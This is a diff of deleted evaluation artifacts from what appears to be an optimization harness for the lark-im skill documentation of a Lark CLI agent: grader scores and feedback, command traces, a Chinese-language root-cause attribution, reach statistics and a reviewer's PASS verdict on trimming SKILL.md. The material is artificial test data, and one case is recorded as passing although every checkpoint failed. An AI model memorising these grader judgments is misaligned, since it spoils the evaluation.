"token_hotspot": "运行时冗余清单常驻(lark-im SKILL.md 正文 5724 tok);另有跨域 lark-contact 正文 991 tok(非 lark-im,不归因本域)+ 多次失败命令回显(单条短,非热点)",
|
||||
"token_reliability": "常驻静态",
|
||||
"duration_hotspot": "多轮交互(建群前查联系人→切 contact skill→contact 失败→查 auth status→发起授权→qrcode 路径重试×3,本题往返最多)+ 重试",
|
||||
"duration_reliability": "耗时波动大,单次运行不算数,需多题或多次复现",
|
||||
"doc_fix_hint": "SKILL.md 常驻正文偏重;失败链路(user 授权 + 跨域 contact)的驱动/约束文档不在 lark-im、本轮不可改。effect 不在 T1 可修。"
|
||||
}
|
||||
]
|
||||
@@ -1,24 +0,0 @@
|
||||
{
|
||||
"1": [
|
||||
"auth login",
|
||||
"auth qrcode",
|
||||
"auth status",
|
||||
"contact +search-user",
|
||||
"contact resolve \"傅一铭\"",
|
||||
"contact resolve \"傅二铭\"",
|
||||
"im +chat-create"
|
||||
],
|
||||
"3": [
|
||||
"auth login",
|
||||
"auth qrcode",
|
||||
"im +chat-create",
|
||||
"im +messages-send"
|
||||
],
|
||||
"2": [
|
||||
"auth login",
|
||||
"auth qrcode",
|
||||
"im +chat-messages-list",
|
||||
"im +chat-search",
|
||||
"im +messages-search"
|
||||
]
|
||||
}
|
||||
@@ -1,29 +0,0 @@
|
||||
{
|
||||
"1": {
|
||||
"score": 0.6,
|
||||
"passed": true,
|
||||
"context_window": 34270,
|
||||
"token_usage": 274608,
|
||||
"duration_ms": 43995,
|
||||
"tool_call_count": 31,
|
||||
"feedback": "Agent 正确遵循 split-flow 授权流程,生成二维码并告知用户。核心任务未完成完全因用户未完成授权(外部环境因素)。Agent 的错误尝试(scope 格式错误、绝对路径参数)均有自行纠正。整体流程符合预期,授权未完成是合理的阻塞点。\n- {'reason': '防御性设计:scope 参数格式文档不明确导致 Agent 首次尝试失败。建议在 skill 文档或 lark-cli auth login --help 中提供 scope 格式的显式示例(如 `im:chat` vs `im:chat:create` 的区别),减少试错成本。'}\n- {'reason': '参数文档:`--domain` vs `--scope` 的使用场景和格式要求应更清晰。当前 Agent 用了错误的 scope 格式后才改用 domain,暗示文档指引不够明确。'}\n- {'reason': '并行优化:搜索傅一铭和傅二铭可并行执行,减少等待时间。当前两次搜索串行执行。'}\n- {'reason': 'Scope 预判:创建群 + 发送消息所需 scope 应在首次授权时一次性请求,而非遇到权限错误才逐步添加。可避免多次授权流程。'}"
|
||||
},
|
||||
"2": {
|
||||
"score": 0.8,
|
||||
"passed": true,
|
||||
"context_window": 47116,
|
||||
"token_usage": 612048,
|
||||
"duration_ms": 114310,
|
||||
"tool_call_count": 49,
|
||||
"feedback": "Agent 行为完全符合 skill 文档规范:正确识别认证缺失 → 发起 split-flow 认证 → 生成二维码 → 告知用户配合。三项核心任务均因用户未完成扫码授权而未能执行,非 Agent 能力问题。判定为 env-blocked,通过。\n- {'reason': '考虑在认证流程中加入超时机制或重试逻辑,当用户长时间未完成授权时主动提醒或提供替代方案'}\n- {'reason': '认证流程的 split-flow 设计合理,但可考虑添加自动化测试用的 bot 身份模式(--as bot)作为 fallback,避免在自动化场景中阻塞'}"
|
||||
},
|
||||
"3": {
|
||||
"score": 0.6,
|
||||
"passed": true,
|
||||
"context_window": 37942,
|
||||
"token_usage": 251669,
|
||||
"duration_ms": 45769,
|
||||
"tool_call_count": 23,
|
||||
"feedback": "Agent 正确处理了用户授权流程,执行了正确的命令并遵循 split-flow 授权规范。遇到用户未授权的环境问题是预期行为,Agent 的处理符合文档要求。所有期望被外部环境因素阻塞,不计入失败。\n- {'reason': '考虑在 Skill 文档中明确说明:对于需要用户授权的操作,如果用户明确说「不需要确认」,Agent 应该说明这是系统级安全约束而非可跳过的确认提示'}\n- {'reason': '在 lark-im 的群创建流程中考虑增加预检查:在发起授权前先用 --dry-run 确认操作可执行性,减少无效操作'}"
|
||||
}
|
||||
}
|
||||
@@ -1,97 +0,0 @@
|
||||
# Round 1 归因(候选模块见 candidate_modules;模块由 candidate-writer 根据诊断和 reach 选定)
|
||||
|
||||
> 目标(objective.json):**在不回退成功率的前提下降低 lark-im skill 文档的 token 成本**。effect 是硬门槛、不可退化;token 与 duration 是并列成本杆。tier=T1,仅可改 `skills/lark-im/**`。
|
||||
> 关键定调:**本轮 3 题全部 FAIL 或 blocked 的效果根因是沙箱基础设施限制,不是 lark-im 文档能修的;它们也不在可改模块里。** 因此本轮的真实抓手是 token 轴(每次运行常驻 + 误导性内容),不是去「修挂题」。下面分维度说明。
|
||||
|
||||
## 跨 case 共同根因(优先看)
|
||||
|
||||
### RC-1(效果,FAIL 主因)—— 非文档根因 / 本轮不可修:user 身份授权在沙箱内无法完成
|
||||
- **现象**:3 题用户都说「使用我的身份」,agent 走 `--as user` → 返回 `authentication / token_missing` → 按授权规则发起 `auth login --no-wait` → 生成二维码 → 把链接交给用户并结束本轮。沙箱里没有真人扫码,user 身份永远 `missing`,于是建群/搜群/发消息全部 blocked。三题轨迹高度同构(015/080/014)。
|
||||
- **行为是被文档「正确」驱动的,不是 agent 乱来**:发起 split-flow 授权、生成二维码、展示链接后交还控制权,这一整套是 `skills/lark-shared/SKILL.md`(L17、L72–105)明确 MUST 的流程。agent 严格照做。
|
||||
- **归因落点**:根因在**沙箱无法完成交互式 user 授权**(基础设施)+ 驱动该行为的授权流程文档在 `lark-shared`。
|
||||
- **为什么本轮不可修(重要,给 candidate-writer 的边界)**:
|
||||
1. `lark-shared/SKILL.md` **不在 candidate_modules**(objective.modules 只含 `skills/lark-im/**`),无权改。
|
||||
2. 即便能改,沙箱不能扫码这一物理限制不是文档能绕过的——这是环境,不是内容缺失。
|
||||
3. **不要试图通过让 agent 改走 `--as bot` 来「修绿」**:用户显式要「我的身份」,grader 判分点也写「使用当前用户身份创建」。改路由去 bot 是 reward-hack(绕过判分点、语义回退),不是合法的成功率修复。reviewer 会据此 FAIL。
|
||||
- **axis=效果**,但标注为**无文档根因 / 本轮不改**。effect 是硬门槛但本轮无法在 T1 内合法抬升,候选应把 effect 维持在 baseline(别让降 token 的改动碰坏路由/参数而误伤这条已经走通到「授权」的链路)。
|
||||
|
||||
### RC-2(token,本轮真正的抓手)—— 每次运行常驻的 lark-im 注入正文偏重
|
||||
- **现象**:每题固定加载两块 lark-im 正文,且**与该题任务大多无关**:
|
||||
- `lark-im` 的 **Skill 列表注入**(系统级 description 段):4,612 tok(015 占 28.2%、080 占 18.8%、014 占 25.1%)——注意这是系统注入的全 skill description 固定开销,**不算 lark-im 文档热点、不作为根因**(见口径说明),列在此处仅为说明窗口构成。
|
||||
- `lark-im` 的 **SKILL.md 正文**(经 Skill 工具加载,reach=1.0):约 **5,722–5,777 tok/题**,三题都常驻。这是 `skills/lark-im/SKILL.md`,**在可改模块内,是 token 轴的头号可控热点**。
|
||||
- **SKILL.md 里有大量与本轮任务无关的常驻清单**:`## API Resources` 段(L114+)逐条列了 chats / chat.members / messages / reactions / threads / image / pin / feed 等**每个 resource.method 的 identity 规则与 owner/admin/tenant 约束**(L123–190,几十行)。本轮 3 题只用到建群、搜群/搜消息、发消息、转发、@——绝大多数 method 行每次运行都被加载却从不被用到。这是典型「每次运行都会加载的运行时冗余清单常驻」。
|
||||
- **可信度=常驻静态**:SKILL.md 经 Skill 工具每题必加载(reach=1.0),tiktoken 可测、跨题稳定(5,722/5,724/5,777 三题一致)。这是降 token 最稳的发力点。
|
||||
- **axis=token**。文档位置:`skills/lark-im/SKILL.md`,重点 `## API Resources` 的 per-method identity/约束清单与 `## Important Notes` 中本轮用不到的小节。
|
||||
|
||||
### RC-3(token,次级抓手)—— 按需 reference 体积偏大,且只在用到的题里计入
|
||||
- **现象**:080 读了 `chat-create.md`(3,062 tok) + `messages-send.md`(5,367 tok),两块 reference 合计 8,429 tok,占该题 visible 的 34.4%。014 也读了 chat-create.md。
|
||||
- **判据**:reach(chat-create=0.667、messages-send=0.667)说明这些 reference 在自己的子集里被实读,压缩它们的降幅在子集内不被没读它的题稀释(见派工单「别用全集均摊判 reference 价值」)。`messages-send.md` 单文件 5,367 tok 尤其大。
|
||||
- **可信度=按需读取**:只在实际 Read 该 reference 的题里计入,不能按全集均摊。
|
||||
- **axis=token**。文档位置:`skills/lark-im/references/lark-im-messages-send.md`、`lark-im-chat-create.md`。
|
||||
|
||||
### RC-4(duration,弱信号,需复现)—— `auth qrcode --output "/tmp/..."` 被拒后反应式重试
|
||||
- **现象**:3 题都先用 `--output "/tmp/lark_auth_qr.png"`(或 `/workspace/agent-cwd/qrcode.png`)→ 报 `validation / invalid_argument: unsafe output path` → 改用相对路径 `./xxx.png` 重试成功。每题多 1–2 个往返。
|
||||
- **归因落点**:驱动「生成二维码」的指引在 `lark-shared`(L17、L90),且该指引**没说输出路径的约束**(不能用 `/tmp` 等绝对/沙箱外路径)。这是「报错没指下一步 + 文档没写约束」的耗时根因。
|
||||
- **为什么本轮基本不可修**:约束文档在 `lark-shared`(不可改);且这条只多几个 round-trip、对末轮窗口 token 影响极小(报错消息短)。
|
||||
- **可信度**:耗时波动大,单题不算数;但此模式**3 题一致复现**,作为 duration 旁证可信度提升。不过它仍**不在 T1 可改范围**,仅记录。
|
||||
- **axis=duration**,标注为**驱动文档不可改(lark-shared)**。
|
||||
|
||||
## 命令失败热点(跨 case)
|
||||
> 失败类型由我从 timeline 命令串读出(session-analyze 只标 isError、不解析 argv),属诊断证据、非判决数字。
|
||||
|
||||
| lark-cli 命令 | 失败次数 | 涉及题数 | 主要失败类型 | 指向的文档问题 |
|
||||
|---|---|---|---|---|
|
||||
| `im +chat-search` | 2 | 1 (015) | `--as user` → token_missing | user 身份未授权(沙箱限制);非内容错误 |
|
||||
| `im +chat-create` | 1 | 1 (080) | `--as user` → token_missing | 同上 |
|
||||
| `contact +search-user` / `contact resolve` | 4 | 1 (014) | exit 2/3(user 身份 / 命令不存在) | 跨 skill(lark-contact),非 lark-im 内容 |
|
||||
| `auth qrcode --output /tmp/...` | 4 | 3 (014/015/080) | `unsafe output path` 被拒,改相对路径重试 | qrcode 输出路径约束未写(驱动文档在 lark-shared,不可改) |
|
||||
| `auth login` | 1 | 1 (080) | scope 写法 → device authorization 错误后改 `--domain im` 重试 | scope/domain 用法在 lark-shared |
|
||||
- **解读**:失败热点高度集中在 **user 身份授权链路**(chat-search/chat-create token_missing + auth qrcode 路径 + auth login scope)。这一整条链路的驱动与约束文档都在 `lark-shared`,**不是 lark-im 文档能修的**。lark-im 自身命令(chat-create / messages-send / chat-search)在**读了 reference、参数写对**的前提下并未因「参数写错」失败——失败全部卡在上游的 user 授权,不是命令难用。**这意味着没有 lark-im 侧的「报错/输出整形」工单**。
|
||||
|
||||
## 可发现性时序(约束 5 三态;判「前置能不能救」的决定性证据)
|
||||
> 对每条预期该读的 reference / `--help`,按相对首次失败调用的读取时序统计。`--help` 扫 Bash(不在 reach 里)。
|
||||
|
||||
| reference / `--help` | 聚合 reach | ①从没读 | ②失败后才读 | ③读了仍错 | 主导态 → 改动方向 |
|
||||
|---|---|---|---|---|---|
|
||||
| `lark-shared/SKILL.md` | 1.0 | 0 | 0 | 3 | ③ 调用前已读,仍卡授权 → **非触达问题**;且不可改 |
|
||||
| `lark-im-chat-create.md` | 0.667 | 0 | 0 | 2 (080,014) | ③ 调用前已读,create 仍因 user 授权 blocked → 非该 reference 内容错误 |
|
||||
| `lark-im-messages-send.md` | 0.667 | — | — | — | 080 提前读但 send 未执行(建群 blocked,没走到发消息);不构成失败证据 |
|
||||
| `+chat-create --help` | 不在 reach | 0 | 0 | 1 (014) | ③ 014 在 #8 跑了 `+chat-create --help`(成功),调用前已触达 |
|
||||
- **结论**:本轮**不存在触达/路由(状态①)根因**。三题都在调用前读到了 SKILL.md(reach=1.0)、读到了相关 reference、甚至跑了 `--help`。失败发生在**内容已触达之后的上游授权环节(状态③语义,但根因是环境而非文档内容错)**。
|
||||
- **对 candidate-writer 的含义**:**不要把 RC-1 误判为①而推「前置授权说明」**——内容已经读到了,前置救不了沙箱不能扫码。前置类改动在本轮对 effect 无效,只会增 token,与目标背道而驰。
|
||||
|
||||
## 差距台账复盘
|
||||
- 无(round 1,`discard-ledger.json` 为空)。
|
||||
|
||||
## 逐 case
|
||||
|
||||
### 2 (015) [FAIL] token=34616 耗时=52787ms 命令失败率=3/5 维度=效果(不可修)+token
|
||||
- 判分点结果:3 条全未满足——定位群、转发消息、@知会都依赖 user 身份搜群,user 身份未授权 → 全部 blocked。
|
||||
- 命令失败:3/5。2× `+chat-search --as user` → token_missing;1× `auth qrcode --output /tmp` → unsafe output path(改相对路径成功)。
|
||||
- 可发现性时序:SKILL.md 调用前已读(reach=1.0);本题未读 chat-search/messages-search reference(reach=0)但失败发生在更上游的授权,**补这些 reference 也救不了**(状态③语义:内容可达性不是瓶颈,授权是)。
|
||||
- token 归因:SKILL.md 正文 5,777 tok(常驻静态,35.3%)+ 系统级 Skill 列表注入 4,612 tok(固定开销,不归因)。本题未读大 reference,故 token 主来源就是常驻 SKILL.md 正文。
|
||||
- 耗时归因:auth qrcode 路径被拒的 1 次反应式重试(弱信号,duration,需复现);其余为 user 授权 split-flow 固有往返 + 外部 API 延迟(不可归因部分)。
|
||||
- 文档根因:效果根因=沙箱 user 授权不可完成(环境,驱动文档在 lark-shared,**本轮不可修**);token 根因=`skills/lark-im/SKILL.md` 常驻正文偏重(**可修,T1 抓手**)。
|
||||
|
||||
### 3 (080) [FAIL] token=31289 耗时=46776ms 命令失败率=3/5 维度=效果(不可修)+token
|
||||
- 判分点结果:3 条全未满足——建群(`+chat-create --as user`)即被 token_missing blocked,后续建卡片、发卡片到群都无法进行。
|
||||
- 命令失败:3/5。1× `+chat-create --as user` token_missing;1× `auth login --scope "..."` device authorization 错误(改 `--domain im` 重试);1× `auth qrcode --output /tmp` unsafe path(改相对路径成功)。
|
||||
- 可发现性时序:调用前读了 SKILL.md + chat-create.md + messages-send.md(全部状态③,调用前已触达);建群仍因 user 授权 blocked,**非 reference 内容错误**。
|
||||
- token 归因:**本题 token 最重,读取 Skill 占 49.6%**——chat-create.md 3,062 + messages-send.md 5,367 = 8,429 tok(按需读取)+ SKILL.md 正文 5,722 tok(常驻静态)。这是 RC-2 + RC-3 同时发力的题。messages-send.md 提前读但本题根本没走到发消息(建群已 blocked),属「读了没用上」的浪费。
|
||||
- 耗时归因:auth qrcode 重试 + auth login scope 写错重试,各 1 次反应式往返(弱信号,duration,需复现)。
|
||||
- 文档根因:效果=沙箱 user 授权(不可修);token=SKILL.md 常驻正文 + 两个偏大 reference(**可修,T1 抓手;本题杠杆最高**)。
|
||||
|
||||
### 1 (014) [PASS→实质 FAIL] token=30086 耗时=51004ms 命令失败率=6/10 维度=效果(不可修)+token
|
||||
- 判分点结果:派工单 verdict 标 PASS,但 3 条判分点证据全为 ✗(建群未创建、成员未加、消息未发,全 blocked by user identity missing)。**实质是 FAIL**,PASS 系上层聚合口径差异,归因按判分点证据处理。
|
||||
- 命令失败:6/10(最高)。`contact resolve` ×2 exit 2(命令形态不对,走的是 lark-contact 域);`contact +search-user --as user` ×2 exit 3(user 未授权);`auth qrcode --output 绝对路径` ×2 unsafe path(第三次相对路径成功)。
|
||||
- 可发现性时序:#7 调用前读 SKILL.md(reach=1.0);#8 跑了 `+chat-create --help`(成功,状态③,调用前已触达建群用法);随后为查联系人切到 lark-contact skill。失败集中在 user 授权与跨域 contact 查询,**非 lark-im 内容可达性问题**。
|
||||
- token 归因:SKILL.md 正文 5,724 tok(常驻静态,31.1%)+ 系统 Skill 列表注入 4,612 tok(固定开销,不归因)+ lark-contact 正文 991 tok(跨域,非 lark-im)。lark-cli 命令累计 2,577 tok(14%),含多次失败回显,但单条都短、非热点。
|
||||
- 耗时归因:本题往返最多(建群前先查联系人 → 切 contact skill → contact 失败 → 查 auth status → 发起授权 → qrcode 路径重试 ×3)。多为 user 授权链路 + 跨域查联系人固有串行 + 反应式重试(duration 弱信号,需复现)。
|
||||
- 文档根因:效果=沙箱 user 授权 + 跨域 contact 不可用(环境,不可修);token=`skills/lark-im/SKILL.md` 常驻正文(**可修,T1 抓手**)。
|
||||
|
||||
## 给 candidate-writer 的收口(不含具体改法)
|
||||
- **唯一在 T1 内可合法发力的轴是 token**,对应 RC-2(SKILL.md 常驻正文,3 题全命中、最稳)与 RC-3(chat-create/messages-send reference 偏大,080 命中)。两者方向一致(减体积),可作为本轮候选的目标轴。
|
||||
- **effect 不可在本轮 T1 内合法抬升**(RC-1 环境限制 + 驱动文档在不可改的 lark-shared)。候选必须**保持 effect 不退化**:降 token 时不要删/改会影响 identity 路由、参数正确性、scope 提示的内容,以免把已经走到「授权」这一步的链路碰断。
|
||||
- **方向冲突提示**:RC-1 若有人想「补授权说明帮 agent 过」与目标(降 token)方向相反,且对沙箱无效——**明确不要做**。RC-2/RC-3(减体积)与目标同向,无冲突。
|
||||
- **缺失信息(doc_fix_hint 语气,非药方)**:SKILL.md 的 `## API Resources` per-method identity/约束清单与本轮任务无关却每次常驻;这类「全量罗列、低命中」的常驻内容是 token 的主要去处。messages-send.md / chat-create.md 单文件偏大,按需读取时仍是大块。
|
||||
- **数据缺口**:(a) 工具调用次数派工单(25/22/32)与 session-analyze 的 tool_use blocks(7/9/13)口径不一致,已采派工单数字入 attribution,但 duration 旁证以 timeline 实际往返为准。(b) duration 根因(RC-4)单轮不足以定论,需多轮/多次复现;且其驱动文档在 lark-shared 不可改。(c) 014 派工单 verdict=PASS 与判分点证据全 ✗ 冲突,归因按判分点证据当 FAIL 处理。
|
||||
@@ -1 +0,0 @@
|
||||
[]
|
||||
@@ -1 +0,0 @@
|
||||
[]
|
||||
@@ -1,222 +0,0 @@
|
||||
{
|
||||
"skills/lark-im/SKILL.md": {
|
||||
"reach": 1.0,
|
||||
"read_cases": [
|
||||
"1",
|
||||
"2",
|
||||
"3"
|
||||
],
|
||||
"actual_cases": [
|
||||
"1",
|
||||
"2",
|
||||
"3"
|
||||
],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": true
|
||||
},
|
||||
"skills/lark-im/references/lark-im-chat-create.md": {
|
||||
"reach": 0.667,
|
||||
"read_cases": [
|
||||
"1",
|
||||
"3"
|
||||
],
|
||||
"actual_cases": [
|
||||
"1",
|
||||
"3"
|
||||
],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-chat-identity.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-chat-list.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-chat-messages-list.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-chat-search.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-chat-update.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-feed-group-list-item.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-feed-group-list.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-feed-group-query-item.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-feed-groups.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-feed-shortcut-create.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-feed-shortcut-list.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-feed-shortcut-remove.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-flag-cancel.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-flag-create.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-flag-list.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-message-enrichment.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-messages-mget.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-messages-reply.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-messages-resources-download.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-messages-search.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-messages-send.md": {
|
||||
"reach": 0.667,
|
||||
"read_cases": [
|
||||
"1",
|
||||
"3"
|
||||
],
|
||||
"actual_cases": [
|
||||
"1",
|
||||
"3"
|
||||
],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-reactions.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
},
|
||||
"skills/lark-im/references/lark-im-threads-messages-list.md": {
|
||||
"reach": 0.0,
|
||||
"read_cases": [],
|
||||
"actual_cases": [],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": false
|
||||
}
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
{
|
||||
"generated_by": "lark-cli-harness:opt-reviewer",
|
||||
"verdict": "PASS",
|
||||
"module": "skills/lark-im/SKILL.md",
|
||||
"tier": "T1",
|
||||
"reason": "纯常驻减重,无可证伪点:删的 per-method identity 索引 + 完整 scope 表经实测在 schema 运行时可逐字取回(schema im.chats.create 返回与被删文本相同的 Identity 串、schema._meta.scopes 携带所需 im:* scope),非语义丢失而是迁回文档本就强制查询的权威源;SELECTION 层路由(Identity-and-Token-Mapping、Shortcuts 表)字节未动(L1-109 完全一致);23 个 reference 链接集合改动前后完全相同,reactions/feed-groups 入口已迁入 Shortcuts 表且 identity 语义保留、链接有效;token 4960→2986(-39.8%,tiktoken cl100k_base 实测吻合声明)为真删非搬运;只服务 RC-2 一个根因。试图证伪四维均找不到证据。",
|
||||
"dimensions": {
|
||||
"reward_hack": {"pass": true, "evidence": "无硬编码答案/题号特判;未把 identity 改走 --as bot 修绿;Identity-and-Token-Mapping 路由块(L38-42)字节未动,符合 diagnosis「保 effect 不追 effect」的要求"},
|
||||
"semantic_regress": {"pass": true, "evidence": "实测无承重内容丢失:lark-cli schema im.chats.create 逐字返回被删的 Identity 串、schema._meta.scopes 携带所需 scope(如 im:message.urgent),删块全部可在运行时由 schema 取回;23 个 reference 集合改动前后完全相同,reactions/feed-groups 入口迁入 Shortcuts 表保住 reach 不归零"},
|
||||
"token_shift": {"pass": true, "evidence": "tiktoken cl100k_base 实测 4960→2986、-1974/-39.8% 与声明吻合;是 reach=1.0 文件的常驻字节真删而非搬运;新增 2 行 Shortcuts 入口仅在实际用到 reactions/feed-groups 时才触发读取(本轮 3 题不涉及),无常驻或增读拉力,运行时 context 等额下降方向与 token↓ 一致"},
|
||||
"contract_break": {"pass": true, "evidence": "T1 无对外契约;删除目标(method/scope 全索引)正是 authoring-guide/optimization-playbook「不进 skill、最多留一行指针」所指对象,新指针同时覆盖 schema+lark-shared 报错流程语义;23 个链接全部解析、迁移表行 markdown 良构,无 must-keep SELECTION 段被删"},
|
||||
"devguide": {"pass": true, "evidence": "对照 review-rubric 优化红线两维(semantic_regress / contract_break)均无触犯:信息归属正确(method/scope 索引应交给 schema/--help)、无破坏性删除、无 CRITICAL 超额、无重复 lark-shared;结构与链接合规"},
|
||||
"single_root_cause":{"pass": true, "evidence": "diff 仅服务 RC-2(裁常驻 USAGE 索引),未捆 RC-3(reference 压缩)等其他根因;新增 2 行 Shortcuts 入口是同一删除动作的孤儿入口保命改(因果同源),非第二根因;删除范围严格限于 ## API Resources + ## 权限表 两段,无大块语义独立删除被 token 对冲叙事缝合"}
|
||||
}
|
||||
}
|
||||
@@ -1,404 +0,0 @@
|
||||
{
|
||||
"round": 1,
|
||||
"status": "admitted",
|
||||
"parent_id": "phi0",
|
||||
"parent_worktree": "/Users/bytedance/Projects/cli",
|
||||
"child_worktree": "/Users/bytedance/Projects/cli",
|
||||
"base_commit": "040ef17eae0ac350c556081544793aacce675e90",
|
||||
"module": "skills/lark-im/SKILL.md",
|
||||
"candidate_modules": [
|
||||
"skills/lark-im/SKILL.md",
|
||||
"skills/lark-im/references/lark-im-chat-create.md",
|
||||
"skills/lark-im/references/lark-im-chat-identity.md",
|
||||
"skills/lark-im/references/lark-im-chat-list.md",
|
||||
"skills/lark-im/references/lark-im-chat-messages-list.md",
|
||||
"skills/lark-im/references/lark-im-chat-search.md",
|
||||
"skills/lark-im/references/lark-im-chat-update.md",
|
||||
"skills/lark-im/references/lark-im-feed-group-list-item.md",
|
||||
"skills/lark-im/references/lark-im-feed-group-list.md",
|
||||
"skills/lark-im/references/lark-im-feed-group-query-item.md",
|
||||
"skills/lark-im/references/lark-im-feed-groups.md",
|
||||
"skills/lark-im/references/lark-im-feed-shortcut-create.md",
|
||||
"skills/lark-im/references/lark-im-feed-shortcut-list.md",
|
||||
"skills/lark-im/references/lark-im-feed-shortcut-remove.md",
|
||||
"skills/lark-im/references/lark-im-flag-cancel.md",
|
||||
"skills/lark-im/references/lark-im-flag-create.md",
|
||||
"skills/lark-im/references/lark-im-flag-list.md",
|
||||
"skills/lark-im/references/lark-im-message-enrichment.md",
|
||||
"skills/lark-im/references/lark-im-messages-mget.md",
|
||||
"skills/lark-im/references/lark-im-messages-reply.md",
|
||||
"skills/lark-im/references/lark-im-messages-resources-download.md",
|
||||
"skills/lark-im/references/lark-im-messages-search.md",
|
||||
"skills/lark-im/references/lark-im-messages-send.md",
|
||||
"skills/lark-im/references/lark-im-reactions.md",
|
||||
"skills/lark-im/references/lark-im-threads-messages-list.md"
|
||||
],
|
||||
"module_reach": {
|
||||
"skills/lark-im/SKILL.md": {
|
||||
"reach": 1.0,
|
||||
"read_cases": [
|
||||
"1",
|
||||
"2",
|
||||
"3"
|
||||
],
|
||||
"actual_cases": [
|
||||
"1",
|
||||
"2",
|
||||
"3"
|
||||
],
|
||||
"expected_cases": [],
|
||||
"discoverability_miss": [],
|
||||
"is_domain_skill": true
|
||||
},
|
||||
"skills/lark-im/references/lark-im-chat-create.md": {
|
||||
"reach": 0.667,
|
||||
"read_cases": [
|
||||
"1",
|
||||
"3"
|
||||
],
|
||||
"actual_cases": [
|
||||
"1",
|
||||
"3"
|
||||
